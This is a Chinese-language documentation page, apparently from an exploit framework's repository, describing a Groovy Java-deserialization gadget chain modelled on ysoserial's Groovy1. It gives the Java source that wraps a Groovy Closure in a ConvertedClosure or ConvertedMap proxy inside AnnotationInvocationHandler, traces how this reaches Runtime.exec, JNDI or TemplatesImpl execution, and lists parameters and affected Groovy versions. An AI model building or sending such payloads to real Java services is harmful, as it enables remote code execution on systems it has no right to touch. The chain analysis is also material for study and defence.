Skip to content

Latest commit

 

History

History
66 lines (55 loc) · 4.6 KB

File metadata and controls

66 lines (55 loc) · 4.6 KB

Groovy反序列化链(Groovy)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖org.codehaus.groovy:groovy:2.4.3

作用

经典 Groovy 反序列化跳板。以 JDK 的 AnnotationInvocationHandler 为触发点,通过其 readObject 遍历 memberValues.entrySet(),把调用转发到一个由 Groovy ConvertedClosure/ConvertedMap 支撑的 Map 动态代理上,最终触发 Closure.call(...)——从而把内层的 Groovy Closure(如 MethodClosure 指向 Runtime.exec)执行起来。是 ysoserial Groovy1 家族在本框架中的实现。

链接标签

  • 入口 tagsJavaNativeDeserialize —— 承接 Java 原生反序列化入口。
  • 衔接 nextTagsClosureWithTemplatesImplChainClosureWithJNDIChainClosureWithRuntimeChain —— 下游须提供一个封装好的 Groovy Closure(分别走 TemplatesImpl 字节码 / JNDI / Runtime 命令三种落地方式)。
  • excludes:无。

源码剖析

getObject 把内层对象包成 Map 代理,再交给 AnnotationInvocationHandler

public Object getObject(Object obj) throws Exception {
    InvocationHandler handler = this.buildHandler(obj);      // 见下:ConvertedClosure 或 ConvertedMap
    Map map = (Map) Proxy.newProxyInstance(
        Groovy.class.getClassLoader(), new Class[]{Map.class}, handler);
    return PayloadHelper.createMemoizedInvocationHandler(map);  // 包进 AnnotationInvocationHandler
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject(chain.doCreate(context));          // obj = 下游产出的 Closure
}

buildHandlerentry 参数选两种等价入口,二者都是 Groovy 运行时里实现了 InvocationHandler 的类,被调用 entrySet 方法时会把参数转交内部 Closure

private InvocationHandler buildHandler(Object obj) throws Exception {
    if ("converted_map".equalsIgnoreCase(this.entry)) {
        HashMap<String, Object> handlerMap = new HashMap<>();
        handlerMap.put("entrySet", obj);                     // key="entrySet" → 命中被代理方法名
        ConvertedMap convertedMap = Reflections.createWithoutConstructor(ConvertedMap.class);
        Reflections.setFieldValue(convertedMap, "delegate", handlerMap);
        return (InvocationHandler) convertedMap;
    }
    ConvertedClosure closure = new ConvertedClosure((Closure) obj, "entrySet");  // 绑定方法名 entrySet
    return closure;
}

触发链(与 description 一致)AnnotationInvocationHandler.readObject → this.memberValues.entrySet()。这里 memberValues 就是上面那个 Map 代理,调用其 entrySet() 会进入 ProxyInvocationHandler

  • ConvertedClosure:构造时 methodName="entrySet",当被代理对象上恰好调用同名方法 entrySet 时,它把调用委派给内部 Closure.call(...)
  • ConvertedMapdelegateput("entrySet", closure),代理调用 entrySet 时按 key 取出并触发 Closure

因此完整触发:AnnotationInvocationHandler.readObject → Proxy(Map).entrySet → ConvertedClosure/ConvertedMap.invoke → Closure.callPayloadHelper.createMemoizedInvocationHandler 负责用反射实例化 sun.reflect.annotation.AnnotationInvocationHandler(构造私有)并塞入该 Map,使其在反序列化时自动遍历。

参数(@Param)

字段 名称 说明 默认 可选值
entry 入口选择 选择代理触发入口:converted_closureConvertedClosureconverted_mapConvertedMap converted_closure converted_closureconverted_map

适用版本与原理要点

  • 依赖 groovy 2.4.3ConvertedClosure/ConvertedMapClosure 调用语义在该系列可用;Groovy 2.4.4+ 官方修复了 MethodClosure 序列化)。
  • 依赖 JDK 的 AnnotationInvocationHandler 可被反射实例化并在 readObject 中遍历 entrySet——高版本 JDK 对该类有加固,实际可用性随 JDK 而变(此为「Java 原生反序列化」入口,非 XStream)。
  • 真正的命令/字节码执行落在下游 Closure 里(nextTags 指向的三种 ClosureWith* 构件)。

所属预设链

  • 自由构件,未直接出现在预设链。

关联

  • 下游(nextTags):ClosureWithTemplatesImpl(Sandboxed)、ClosureWithJNDI(Sandboxed)、ClosureWithRuntime(Sandboxed) —— 提供最终执行的 Groovy Closure
  • 同族:Groovy2(PriorityQueue/compareTo 入口,走 XStream)、Groovy2GString(GString 入口)。